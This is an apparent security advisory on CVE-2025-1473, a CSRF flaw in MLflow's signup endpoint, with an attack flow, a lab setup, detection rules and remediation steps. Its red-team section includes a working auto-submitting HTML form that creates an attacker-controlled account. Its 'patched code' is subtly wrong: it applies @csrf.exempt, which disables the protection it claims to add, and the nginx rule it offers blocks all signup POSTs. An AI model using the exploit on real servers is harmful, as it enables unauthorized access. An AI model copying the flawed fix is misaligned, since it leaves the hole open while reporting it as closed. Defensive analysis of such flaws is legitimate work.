CVE-2025-1473

Executive Summary

CVE-2025-1473 is a Cross-Site Request Forgery (CSRF) vulnerability in the Signup feature of MLflow versions 2.17.0 through 2.20.1. This flaw allows an attacker to trick an authenticated user's browser into submitting a malicious request to create a new account on the MLflow server. The new account can then be used to perform unauthorized actions, potentially leading to data exfiltration, model tampering, or further compromise of the MLflow environment. The vulnerability has a CVSS score of 5.4 (Medium) and currently has no known public exploit or patch.

Supply Chain & Package Security

MLflow is a Python package (PyPI: mlflow). This vulnerability affects the server component, which is often deployed as part of MLOps pipelines. Organizations using MLflow in their supply chain should audit their deployments for affected versions and consider implementing CSRF protections at the reverse proxy or application level until an official patch is released.

CVSS Breakdown & Threat Level

• CVSS Score: 5.4 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: Required (victim must be logged in and visit a malicious page)
• Scope: Unchanged
• Confidentiality Impact: Low (attacker can create accounts, potentially accessing limited data)
• Integrity Impact: Low (attacker can create accounts, but not directly modify existing data)
• Availability Impact: None

Threat Level: Medium. While the CVSS score is moderate, the ability to create unauthorized accounts can be a stepping stone for more severe attacks, especially in environments where MLflow is used to manage sensitive models and data.

Deep Dive & Mechanics

The vulnerability resides in the /signup endpoint of the MLflow web UI. The endpoint does not implement CSRF tokens or other anti-CSRF mechanisms (e.g., SameSite cookies, custom headers). This allows an attacker to craft a malicious HTML page that, when visited by an authenticated MLflow user, submits a POST request to create a new account.

Attack Flow:

1. An attacker identifies an MLflow server (version 2.17.0 to 2.20.1) with the signup feature enabled.
2. The attacker crafts a malicious webpage containing a form that auto-submits to https://target-mlflow-server/signup with parameters for a new username and password.
3. The attacker lures an authenticated MLflow user (e.g., an admin or data scientist) to visit the malicious page.
4. The victim's browser, having valid session cookies for the MLflow server, submits the request.
5. The server processes the request and creates a new account controlled by the attacker.
6. The attacker logs in with the new account and performs unauthorized actions (e.g., viewing models, modifying experiments, or accessing sensitive data).

Root Cause: Lack of CSRF protection on the signup endpoint. The server does not validate the origin of the request or require a unique token.

Vulnerable vs. Patched Code

Since no official patch is available, the following comparison is based on expected secure implementation.

Vulnerable Code (Conceptual):

# mlflow/server/handlers.py (simplified)
@app.route('/signup', methods=['POST'])
def signup():
    username = request.form['username']
    password = request.form['password']
    # No CSRF check
    create_user(username, password)
    return redirect('/')

Patched Code (Expected):

# mlflow/server/handlers.py (simplified)
from flask_wtf.csrf import CSRFProtect

csrf = CSRFProtect()

@app.route('/signup', methods=['POST'])
@csrf.exempt  # Not exempt; CSRF protection applied
def signup():
    # CSRF token validation is now automatic via Flask-WTF
    username = request.form['username']
    password = request.form['password']
    create_user(username, password)
    return redirect('/')

Key Difference: The patched version would include CSRF token generation and validation, ensuring that the request originates from the legitimate UI.

Exploitation & Lab Setup

Red Team (Attacker)

Lab Setup:

1. Deploy MLflow 2.17.0 to 2.20.1 (e.g., using Docker):

   docker run -p 5000:5000 mlflow/mlflow:2.17.0 mlflow server --host 0.0.0.0
   

2. Create a malicious HTML page (exploit.html):

   <!DOCTYPE html>
   <html>
   <body>
   <h1>Click me for a surprise!</h1>
   <form id="csrf-form" action="http://target-mlflow:5000/signup" method="POST">
       <input type="hidden" name="username" value="attacker">
       <input type="hidden" name="password" value="attacker123">
   </form>
   <script>
       document.getElementById('csrf-form').submit();
   </script>
   </body>
   </html>
   

3. Host the HTML on a server the victim can access.
4. Lure an authenticated MLflow user to visit the page.
5. After the form auto-submits, log in with attacker:attacker123.

Expected Outcome: A new account is created, allowing the attacker to access the MLflow UI and perform actions based on the account's permissions.

Blue Team (Defender)

Detection & Prevention:

1. Monitor Logs: Look for multiple account creation requests from the same IP or user agent in a short period.
2. Network Analysis: Inspect HTTP requests to /signup for unusual Referer headers (e.g., missing or from unexpected origins).
3. Honeypot: Create a fake signup endpoint that logs all requests and alerts on any POST to it.
4. Mitigation: Implement a reverse proxy (e.g., Nginx) to block or require CSRF tokens for the signup endpoint:

   location /signup {
       # Block POST requests without a valid CSRF token
       if ($request_method = POST) {
           # Custom logic to validate token
           return 403;
       }
   }
   

5. User Education: Warn users not to click on suspicious links while logged into MLflow.

Indicators of Compromise (IOCs)

• Network:
  • POST requests to /signup with Referer header missing or from an unexpected domain.
  • Multiple account creation requests from the same IP within a short timeframe.
• Logs:
  • Server logs showing POST /signup with unusual user agents (e.g., Mozilla/5.0 from non-browser contexts).
  • Successful account creation followed by login from a different IP.
• System:
  • Unexpected user accounts in the MLflow user database.
  • Unusual activity from newly created accounts (e.g., accessing sensitive experiments).

Detection Engineering

YARA Rule

rule CVE_2025_1473_CSRF_Signup {
    meta:
        description = "Detects CSRF exploitation attempts against MLflow signup endpoint"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2025-1473"
    strings:
        $s1 = "/signup" ascii wide nocase
        $s2 = "username=" ascii wide nocase
        $s3 = "password=" ascii wide nocase
    condition:
        all of them
}

Sigma Rule

title: MLflow CSRF Signup Exploitation
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects POST requests to MLflow signup endpoint with suspicious characteristics
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: mlflow
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/signup'
    filter:
        cs-referer: 'https://*.mlflow.internal/*'  # Adjust to legitimate referer
    condition: selection and not filter
falsepositives:
    - Legitimate signup requests from authorized users
level: medium

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-1473 MLflow CSRF Signup Attempt";
    flow:to_server,established;
    http.method; content:"POST";
    http.uri; content:"/signup";
    http.referer; content:!"mlflow";
    classtype:attempted-recon;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

1. Immediate Mitigation:

   • Disable the signup feature if not required (e.g., set MLFLOW_TRACKING_DISABLE_SIGNUP=true).
   • Implement a reverse proxy (Nginx/Apache) to add CSRF protection or block POST requests to /signup from external origins.
   • Use a Web Application Firewall (WAF) to filter malicious requests.

2. Long-term Fix:

   • Apply an official patch when released (monitor MLflow GitHub releases).
   • Upgrade to a patched version (e.g., >2.20.1) once available.
   • Implement CSRF tokens using Flask-WTF or similar library in the MLflow codebase.

3. Detection:

   • Deploy the Sigma and Suricata rules provided above.
   • Monitor for unusual account creation activity.

4. User Awareness:

   • Train users to avoid clicking on untrusted links while logged into MLflow.
   • Enforce multi-factor authentication (MFA) for all MLflow accounts.

Valters IT